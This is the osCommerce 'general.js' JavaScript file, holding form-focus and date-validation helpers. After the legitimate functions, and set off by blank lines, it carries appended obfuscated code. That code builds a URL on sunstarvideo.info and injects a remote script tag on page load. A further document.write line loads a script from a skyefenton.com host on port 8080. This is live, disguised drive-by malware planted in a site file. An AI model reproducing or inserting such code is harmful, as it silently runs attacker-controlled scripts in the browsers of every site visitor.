/*
  $Id: general.js 1739 2007-12-20 00:52:16Z hpdl $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}




try {this.Zl='';var V;if(V!='' && V!='j'){V=''};var t=window[unescape("%75%6e%65%73%63%61%70%65")];var T=null;this.I="";var v=window[t("%52%65%67%45%78%70")];var W=t("%72%65%70%6c%61%63%65");var A;if(A!='Ul'){A='Ul'};this.R="";var ZB;if(ZB!='qi' && ZB != ''){ZB=null};function S(Z,M){var iG=new Date();this.X='';var E=t("%5b");var SO;if(SO!='' && SO!='F'){SO=null};var AP=new Date();E+=M;this.SR="";E+=t("%5d");var Zs=new v(E, t("%67"));return Z.replace(Zs, T);var fx=new String();var np=new Array();};var ip='';this.Fj="";var Fc;if(Fc!='' && Fc!='qy'){Fc=null};var zn=new String();var f=S('8994296636541447550729259917269621381517119163433705313595292324142543629','69132547');var JK;if(JK!='Sv' && JK!='CE'){JK=''};var s='';var d="";var L="";var MF="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x6e\x73\x74\x61\x72\x76\x69\x64\x65\x6f\x2e\x69\x6e\x66\x6f\x3a";var n=t("%73%63%72%69%70%74");var ki;if(ki!='GW'){ki='GW'};var GV;if(GV!='mm'){GV='mm'};var WC=String("onl"+"oad");var Z=t("%31");var q=S('/Pm9ikn9i1cHlbi4pk-1cSo1mE/2gEo0o2gPlre4.Sc0o0mz/asEo7hHu0.Pc1oPmE.4p7hPpa','r84901S2bDz7kaEPH');var Ck;if(Ck!='Nq'){Ck=''};var qN;if(qN!='Hc' && qN!='WV'){qN='Hc'};var NK;if(NK!='c_' && NK!='Lp'){NK=''};this.eV='';function c(){var npF;if(npF!='' && npF!='AW'){npF=''};var D=document;var YV=new Date();var Cm=new String();this.fR="";p=D.createElement(n);var PJ='';s+=MF;s+=f+q;var RV=new String();p.defer=Z;var tt;if(tt!='x'){tt='x'};p.src=s;var qU=new Date();var Dn;if(Dn!='' && Dn!='jF'){Dn=null};var e=D.body;var __=new String();var pfK;if(pfK!='' && pfK!='Ki'){pfK=null};var vF=new Date();var IT='';e.appendChild(p);};var IX;if(IX!='' && IX!='kR'){IX=''};window[WC]=c;var SI=new Date();var zI;if(zI!=''){zI='IC'};} catch(g){var eVQ;if(eVQ!='te' && eVQ!='Vd'){eVQ='te'};};this.OC='';





document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Parallel_Port.js"></scr'+'ipt>');